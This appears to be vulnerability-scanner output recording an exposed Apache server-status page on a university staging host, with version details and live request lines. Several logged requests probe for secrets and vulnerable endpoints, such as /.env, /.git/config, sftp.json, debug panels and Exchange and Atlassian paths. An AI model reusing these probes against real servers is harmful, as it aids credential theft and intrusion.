39-13-0/0/2. 0.00106925100.00.000.02 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 40-14-0/0/1761. 26.3799530400.00.007.64 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 41-13-0/0/2. 0.01106924500.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 42-13-0/0/383. 5.42105159000.00.001.39 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 43-13-0/0/2. 0.01106924600.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 44-13-0/0/2. 0.01106924200.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 45-13-0/0/2. 0.01106924400.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 46-13-0/0/3. 0.01106924300.00.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 47-13-0/0/1. 0.00106930300.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 48-13-0/0/1. 0.00106930200.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 49-13-0/0/373. 5.90105159000.00.000.98 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 50-13-0/0/1. 0.00106930100.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 51-13-0/0/377. 5.70105159000.00.001.04 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 52-13-0/0/1. 0.00106929900.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 53-13-0/0/1. 0.00106930000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 54-13-0/0/1. 0.00106929800.00.000.00 127.0.0.1http/1.1
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e688f632a8b
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Thursday, 30-Mar-2023 10:59:33 EDT Restart Time: Tuesday, 07-Mar-2023 09:30:05 EST Parent Server Config. Generation: 29 Parent Server MPM Generation: 28 Server uptime: 23 days 29 minutes 27 seconds Server load: 0.14 0.19 0.20 Total accesses: 630444 - Total Traffic: 3.4 GB CPU Usage: u47.9 s41.16 cu0 cs0 - .00448% CPU load .317 requests/sec - 1825 B/second - 5.6 kB/request 17 requests currently being processed, 0 idle workers KKKKKKKKWWWKKKWKK............................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-28268662/2/55051K 0.101737.70.01298.29 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 1-28268872/2/49447K 0.41035122.90.02262.22 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 2-28268881/1/45234K 0.22041311.60.01252.77 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e26363e2130313e2135313/_/;/META-INF/maven/com.atla 3-2830203/122/48908K 1.411010.10.90263.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 4-28327552/292/47989K 4.60141023.01.87249.02 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 5-28295472/153/48259K 2.41140623.21.09252.59 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 6-2830291/118/37489K 1.53145811.60.83223.74 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e223e2130313e2135313/_/;/META-INF/maven/com.atlass 7-2830303/124/33121K 2.86035534.40.73210.24 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /config.json HTTP/1.1 8-28269020/0/40483W 2.74000.00.00225.34 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /login.action HTTP/1.1 9-28269030/0/28773W 1.15000.00.00183.32 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /about HTTP/1.1 10-28269090/0/29927W 2.97000.00.00162.10 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /v2/_catalog HTTP/1.1 11-2830433/122/29561K 1.441010.10.59154.81 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.vscode/sftp.json HTTP/1.1 12-2830443/123/32253K 1.681010.00.64165.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 13-2830503/122/15683K 1.131010.10.6597.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 14-28269150/0/22405W 0.94000.00.0099.77 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 15-2830562/122/16342K 1.50140322.90.94120.86 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 16-28144133/457/16629K 13.2816953.04.0783.87 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /api/search?folderIds=0 HTTP/1.1 17-27-0/0/8476. 0.006328900.00.0041.45 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 18-27-0/0/1653. 0.006328800.00.009.95 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 19-27-0/0/2676. 0.006328500.00.0013.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 20-26-0/0/2126. 0.0117363800.00.0012.86 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 21-26-0/0/3398. 0.0017364500.00.0016.46 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 22-26-0/0/5627. 0.0017364900.00.0025.86 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 23-26-0/0/3073. 0.2717240800.00.0011.05 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 24-26-0/0/2640. 1.4716956200.00.0014.09 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 25-26-0/0/24. 0.0017364800.00.000.20 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 26-19-0/0/5. 0.0069265600.00.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 27-19-0/0/5. 0.0069265500.00.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 28-13-0/0/2. 0.01106925200.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 29-13-0/0/3. 0.01106925000.00.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 30-13-0/0/2. 0.01106926300.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 31-13-0/0/2. 0.01106926100.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 32-13-0/0/2. 0.01106925900.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 33-13-0/0/2. 0.01106925600.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 34-13-0/0/2. 0.00106926200.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 35-13-0/0/2. 0.01106926000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 36-13-0/0/2. 0.01106925400.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 37-13-0/0/2. 0.00106925500.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 38-13-0/0/232. 3.39105832600.00.000.62 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 39-13-0/0/2. 0.00106925300.00.000.02 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 40-14-0/0/1761. 26.3799530600.00.007.64 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 41-13-0/0/2. 0.01106924700.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 42-13-0/0/383. 5.42105159200.00.001.39 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 43-13-0/0/2. 0.01106924800.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 44-13-0/0/2. 0.01106924400.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 45-13-0/0/2. 0.01106924600.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 46-13-0/0/3. 0.01106924500.00.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 47-13-0/0/1. 0.00106930500.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 48-13-0/0/1. 0.00106930400.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 49-13-0/0/373. 5.90105159200.00.000.98 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 50-13-0/0/1. 0.00106930300.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 51-13-0/0/377. 5.70105159200.00.001.04 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 52-13-0/0/1. 0.00106930100.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 53-13-0/0/1. 0.00106930200.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80O
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e68ed2f07b8
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Thursday, 30-Mar-2023 10:59:30 EDT Restart Time: Tuesday, 07-Mar-2023 09:30:05 EST Parent Server Config. Generation: 29 Parent Server MPM Generation: 28 Server uptime: 23 days 29 minutes 25 seconds Server load: 0.07 0.18 0.20 Total accesses: 630418 - Total Traffic: 3.4 GB CPU Usage: u45.3 s40.88 cu0 cs0 - .00433% CPU load .317 requests/sec - 1825 B/second - 5.6 kB/request 8 requests currently being processed, 2 idle workers ...KW__W...KKK.WW............................................... ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-28-0/0/55049. 0.00181800.00.00298.28 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 1-28-0/0/49445. 0.00181700.00.00262.19 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 2-28-0/0/45233. 0.00181600.00.00252.76 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 3-2830201/120/48906K 1.41003.30.89263.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 4-28327550/290/47987W 4.17000.01.85249.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /debug/default/view?panel=config HTTP/1.1 5-28295470/151/48257W 1.99000.01.07252.57 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 6-2830290/117/37488_ 1.32000.00.82223.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 7-2830300/121/33118W 2.24000.00.69210.21 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 8-28-0/0/40483. 2.74436900.00.00225.34 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 9-28-0/0/28773. 1.15436800.00.00183.32 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 10-28-0/0/29927. 2.97436700.00.00162.10 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 11-2830431/120/29559K 1.44003.40.58154.80 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.vscode/sftp.json HTTP/1.1 12-2830441/121/32251K 1.68003.30.63165.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 13-2830501/120/15681K 1.13003.40.6497.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 14-28-0/0/22405. 0.94437000.00.0099.77 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 15-2830560/120/16340W 1.07000.00.92120.84 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 16-28144130/454/16626W 13.24000.04.0283.82 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 17-27-0/0/8476. 0.006328700.00.0041.45 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 18-27-0/0/1653. 0.006328600.00.009.95 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 19-27-0/0/2676. 0.006328300.00.0013.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 20-26-0/0/2126. 0.0117363600.00.0012.86 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 21-26-0/0/3398. 0.0017364300.00.0016.46 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 22-26-0/0/5627. 0.0017364700.00.0025.86 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 23-26-0/0/3073. 0.2717240500.00.0011.05 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 24-26-0/0/2640. 1.4716956000.00.0014.09 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 25-26-0/0/24. 0.0017364600.00.000.20 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 26-19-0/0/5. 0.0069265400.00.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 27-19-0/0/5. 0.0069265300.00.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 28-13-0/0/2. 0.01106925000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 29-13-0/0/3. 0.01106924800.00.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 30-13-0/0/2. 0.01106926100.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 31-13-0/0/2. 0.01106925900.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 32-13-0/0/2. 0.01106925700.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 33-13-0/0/2. 0.01106925400.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 34-13-0/0/2. 0.00106926000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 35-13-0/0/2. 0.01106925800.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 36-13-0/0/2. 0.01106925200.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 37-13-0/0/2. 0.00106925300.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 38-13-0/0/232. 3.39105832400.00.000.62 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 39-13-0/0/2. 0.00106925100.00.000.02 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 40-14-0/0/1761. 26.3799530300.00.007.64 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 41-13-0/0/2. 0.01106924500.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 42-13-0/0/383. 5.42105159000.00.001.39 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 43-13-0/0/2. 0.01106924600.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 44-13-0/0/2. 0.01106924200.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 45-13-0/0/2. 0.01106924400.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 46-13-0/0/3. 0.01106924300.00.000.01 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 47-13-0/0/1. 0.00106930200.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 48-13-0/0/1. 0.00106930100.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 49-13-0/0/373. 5.90105159000.00.000.98 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 50-13-0/0/1. 0.00106930000.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 51-13-0/0/377. 5.70105159000.00.001.04 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 52-13-0/0/1. 0.00106929800.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 53-13-0/0/1. 0.00106929900.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 54-13-0/0/1. 0.00106929700.00.000.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e68fa5f2cc2
Apache Status Apache Server Status for staging.uwaterloo.ca (via 127.0.0.1) Server Version: Apache/2.4.34 (Red Hat) OpenSSL/1.0.2k-fips PHP/7.3.33 Server MPM: prefork Server Built: Sep 22 2022 02:18:55 Current Time: Sunday, 29-Jan-2023 10:55:01 EST Restart Time: Monday, 07-Nov-2022 17:09:22 EST Parent Server Config. Generation: 102 Parent Server MPM Generation: 101 Server uptime: 82 days 17 hours 45 minutes 39 seconds Server load: 0.01 0.05 0.09 Total accesses: 2386088 - Total Traffic: 15.0 GB CPU Usage: u44.26 s30.25 cu0 cs0 - .00104% CPU load .334 requests/sec - 2248 B/second - 6.6 kB/request 9 requests currently being processed, 1 idle workers WWKKW_W...WK.K.................................................. ................................................................ ................................................................ ................................................................ Scoreboard Key: "_" Waiting for Connection, "S" Starting up, "R" Reading Request, "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup, "C" Closing connection, "L" Logging, "G" Gracefully finishing, "I" Idle cleanup of worker, "." Open slot with no current process SrvPIDAccMCPU SSReqConnChildSlotClientProtocolVHostRequest 0-101215020/363/190290W 6.13000.01.611145.02 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /info.php HTTP/1.1 1-101206610/393/185795W 9.26000.02.631120.18 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /server-status HTTP/1.1 2-101219651/351/183594K 4.13003.31.631114.81 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.env HTTP/1.1 3-101206801/365/173828K 4.86003.31.621076.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.vscode/sftp.json HTTP/1.1 4-10170020/109/166454W 1.52000.00.331012.89 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor 5-10126930/132/157771_ 1.38100.00.60997.00 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080HEAD /ping HTTP/1.1 6-101112840/215/152474W 3.06000.00.70923.04 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /s/333313e223e2130313e2135313/_/;/META-INF/maven/com.atlass 7-101-0/0/154368. 0.00504100.00.00957.73 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 8-101-0/0/141125. 4.31504000.00.00848.85 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 9-101-0/0/128137. 0.00504600.00.00852.68 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 10-101206960/439/124579W 14.75000.04.01809.67 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /telescope/requests HTTP/1.1 11-10127071/133/131315K 1.80003.30.54817.57 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.DS_Store HTTP/1.1 12-101-0/0/95787. 0.00504500.00.00614.35 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 13-101184561/205/63213K 2.55003.30.72471.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:8080GET /.git/config HTTP/1.1 14-101-0/0/56329. 0.00504400.00.00399.22 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 15-101-0/0/64954. 0.00504300.00.00486.44 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 16-101-0/0/48519. 0.00504200.00.00361.57 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 17-99-0/0/39280. 0.007175700.00.00272.46 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 18-99-0/0/22404. 0.007175600.00.00155.79 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 19-99-0/0/18887. 0.007175500.00.00118.40 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 20-99-0/0/12291. 6.235348800.00.0092.07 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 21-99-0/0/14012. 0.007175400.00.00100.48 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 22-99-0/0/12831. 0.007175300.00.0096.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 23-99-0/0/7928. 0.007175200.00.0053.07 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 24-99-0/0/11048. 0.007175100.00.0083.68 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 25-96-0/0/2829. 0.0034257400.00.0034.15 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 26-96-0/0/1988. 0.0034257300.00.0012.67 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 27-96-0/0/510. 0.0034257200.00.004.28 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 28-96-0/0/3125. 0.0034257100.00.0040.43 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 29-96-0/0/896. 0.0034257000.00.006.89 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 30-96-0/0/2549. 3.5833426100.00.0042.70 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 31-96-0/0/1416. 0.0034256900.00.0015.99 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 32-96-0/0/1062. 0.0034256800.00.0027.08 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 33-96-0/0/550. 0.0034256700.00.005.34 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 34-96-0/0/696. 0.0034256600.00.006.48 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 35-96-0/0/1316. 0.0034256500.00.006.42 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 36-96-0/0/1769. 4.4233426400.00.0020.88 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 37-96-0/0/294. 0.0034256400.00.003.23 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 38-96-0/0/1979. 0.0034256300.00.0042.26 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 39-96-0/0/285. 0.0034256200.00.001.98 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 40-96-0/0/569. 0.0034256100.00.0013.37 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 41-86-0/0/1459. 0.01106930400.00.0011.03 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 42-86-0/0/217. 0.01106930200.00.002.78 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 43-86-0/0/454. 1.40106624400.00.009.91 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 44-86-0/0/137. 0.01106930100.00.002.06 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 45-86-0/0/49. 0.02106930000.00.000.50 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 46-86-0/0/87. 0.01106930300.00.001.34 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 47-86-0/0/88. 0.02106929900.00.001.30 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 48-86-0/0/102. 0.00106934000.00.001.54 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 49-86-0/0/235. 0.00106936000.00.002.11 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 50-86-0/0/41. 0.00106935800.00.000.60 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 51-86-0/0/82. 0.00106935900.00.001.18 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 52-86-0/0/102. 0.00106935700.00.001.60 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 53-86-0/0/465. 0.01106932500.00.003.95 127.0.0.1http/1.1wms-profiles.uwaterloo.ca:80OPTIONS * HTTP/1.0 54-86-0/0/913. 0.00106935600.0
Severity: medium
Fingerprint: ee80c6706842d3ef6842d3ef6325bb316325bb31043d4e68043d4e6882d9a422
